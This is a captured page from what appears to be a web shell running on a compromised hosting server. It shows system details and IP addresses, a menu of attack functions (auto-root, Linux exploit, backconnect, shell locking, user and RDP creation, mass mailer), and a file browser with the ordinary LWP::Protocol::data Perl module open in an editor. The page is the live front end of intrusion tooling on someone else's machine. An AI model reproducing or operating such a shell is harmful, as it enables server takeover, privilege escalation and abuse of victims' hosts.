Linux cpanel.rrshost.in 5.15.0-25-generic #25-Ubuntu SMP Wed Mar 30 15:54:22 UTC 2022 x86_64
Apache
: 109.123.238.221 | : 172.69.17.122
128 Domain
8.2.28
aev999
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
LWP /
Protocol /
[ HOME SHELL ]
Name
Size
Permission
Action
cpan.pm
1.33
KB
-rw-r--r--
data.pm
1.21
KB
-rw-r--r--
file.pm
3.75
KB
-rw-r--r--
ftp.pm
18.7
KB
-rw-r--r--
gopher.pm
5.6
KB
-rw-r--r--
http.pm
14.76
KB
-rw-r--r--
https.pm
6.33
KB
-rw-r--r--
loopback.pm
588
B
-rw-r--r--
mailto.pm
4.3
KB
-rw-r--r--
nntp.pm
4.1
KB
-rw-r--r--
nogo.pm
612
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : data.pm
package LWP::Protocol::data; # Implements access to data:-URLs as specified in RFC 2397 use strict; our $VERSION = '6.61'; require HTTP::Response; require HTTP::Status; use parent qw(LWP::Protocol); use HTTP::Date qw(time2str); require LWP; # needs version number sub request { my($self, $request, $proxy, $arg, $size) = @_; # check proxy if (defined $proxy) { return HTTP::Response->new( HTTP::Status::RC_BAD_REQUEST, 'You can not proxy with data'); } # check method my $method = $request->method; unless ($method eq 'GET' || $method eq 'HEAD') { return HTTP::Response->new( HTTP::Status::RC_BAD_REQUEST, 'Library does not allow method ' . "$method for 'data:' URLs"); } my $url = $request->uri; my $response = HTTP::Response->new( HTTP::Status::RC_OK, "Document follows"); my $media_type = $url->media_type; my $data = $url->data; $response->header('Content-Type' => $media_type, 'Content-Length' => length($data), 'Date' => time2str(time), 'Server' => "libwww-perl-internal/$LWP::VERSION" ); $data = "" if $method eq "HEAD"; return $self->collect_once($arg, $response, $data); } 1;
Close